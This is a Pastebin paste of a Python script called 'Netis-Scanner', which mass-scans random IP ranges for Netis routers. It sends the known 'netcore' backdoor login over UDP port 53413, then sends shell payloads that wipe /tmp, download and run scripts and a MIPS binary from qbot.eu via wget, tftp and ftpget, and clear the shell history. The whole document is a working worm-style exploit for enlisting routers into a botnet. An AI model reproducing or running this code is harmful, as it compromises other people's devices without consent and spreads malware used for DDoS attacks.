Advertisement
1337ings

[Python] Netis-Scanner.py [Updated Ranges]

Aug 7th, 2017
2,097
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.09 KB | None | 0 0
  1. #!/usr/bin/python
  2. """
  3. NeTiS-ScaNNeR
  4. By; LiGhT
  5. Updated/Upgraded by Chris Poole | @codingplanets
  6. DONT FORGET TO SET FILE DESCRIPTOR LIMIT(ulimit)
  7. """
  8. import threading, sys, time, random, socket, re, os
  9.  
  10. if len(sys.argv) < 3:
  11. print "\033[32mNetis Scanner v2\n \033[36mBy; LiGhT | Updated/Upgraded by Chris Poole | @codingplanets\n\033[35mUsage: python "+sys.argv[0]+" <threads> <ips per range(1-150)>\n\033[35mExample: python "+sys.argv[0]+" 100 25\n\033[37m"
  12. sys.exit()
  13.  
  14. ranges = ["110","111","112","113","114","115","116","117","118","119","120","121","122","123","124","125","126","127","128","129","130","223","1","103","203","202","122","60","101","106","1","37","151","124","176", "95","77","36"]
  15. loginpayload = "AAAAAAAAnetcore\x00" #DONT CHANGE
  16. commandpayload = "cd /tmp; rm -fr *; wget http://qbot.eu/bins.sh; chmod 777 bins.sh; sh bins.sh; tftp qbot.eu -c get tftp1.sh; chmod 777 tftp1.sh; sh tftp1.sh; tftp -r tftp2.sh -g qbot.eu; chmod 777 tftp2.sh; sh tftp2.sh; ftpget -v -u anonymous -p anonymous -P 21 qbot.eu ftp1.sh ftp1.sh; sh ftp1.sh; rm -rf bins.sh tftp1.sh tftp2.sh tfyfa1.sh; rm -rf *; history -c\n"
  17. commanddpayload = "AA\x00\x00AAAA cd /tmp; rm -fr *; wget http://qbot.eu/mipsel; chmod 777 mipsel; sh mipsel; tftp qbot.eu -c get mipsel; chmod 777 mipsel; sh mipsel; tftp -r mipsel -g qbot.eu; chmod 777 mipsel; sh mipsel; ftpget -v -u anonymous -p anonymous -P 21 qbot.eu mipsel mipsel; sh mipsel; rm -rf mipsel mipsel mipsel tfyfa1.sh; rm -rf *; history -c\x00"
  18. commandddpayload= "AAAAAAAAnetcore\x00 \r\n\r\n AA\x00\x00AAAA cd /tmp; wget http://qbot.eu/bins.sh; chmod 777 bins.sh; sh bins.sh; tftp qbot.eu -c get tftp1.sh; chmod 777 tftp1.sh; sh tftp1.sh; tftp -r tftp2.sh -g qbot.eu; chmod 777 tftp2.sh; sh tftp2.sh; ftpget -v -u anonymous -p anonymous -P 21 qbot.eu ftp1.sh ftp1.sh.sh; sh ftp1.sh.sh; rm -rf bins.sh tftp1.sh tftp2.sh rm -rf *\r\n\x00"
  19. threads = int(sys.argv[1])
  20. num = int(sys.argv[2])
  21.  
  22. def worker():
  23. try:
  24. while True:
  25. try:
  26. a = random.choice(ranges)
  27. number = num + 1
  28. hoho = []
  29. for k in xrange(number):
  30. host = ''+a+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  31. hoho.append(host)
  32. for j in hoho:
  33. ip = j
  34. print "\033[37mStarting Thread: %s\033[37m"%(ip)
  35. nn = nnetis(ip)
  36. nn.start()
  37. except:
  38. pass
  39. except:
  40. pass
  41.  
  42. class nnetis(threading.Thread):
  43. def __init__ (self, ip):
  44. threading.Thread.__init__(self)
  45. self.ip = str(ip).rstrip('\n')
  46. def run(self):
  47. s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
  48. try:
  49. print "\033[32mSending Payload: %s"%(self.ip)
  50. s.sendto(loginpayload, (self.ip, 53413))
  51. time.sleep(10.5)
  52. s.sendto(commandpayload, (self.ip, 53413))
  53. time.sleep(5.5)
  54. s.sendto(commanddpayload, (self.ip, 53413))
  55. time.sleep(5.5)
  56. s.sendto(commandddpayload, (self.ip, 53413))
  57. time.sleep(5.5)
  58. os.system("echo -e " +self.ip+ " >> bios_netis.txt")
  59. except Exception:
  60. pass
  61.  
  62. for g in xrange(threads):
  63. t = threading.Thread(target=worker)
  64. t.start()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement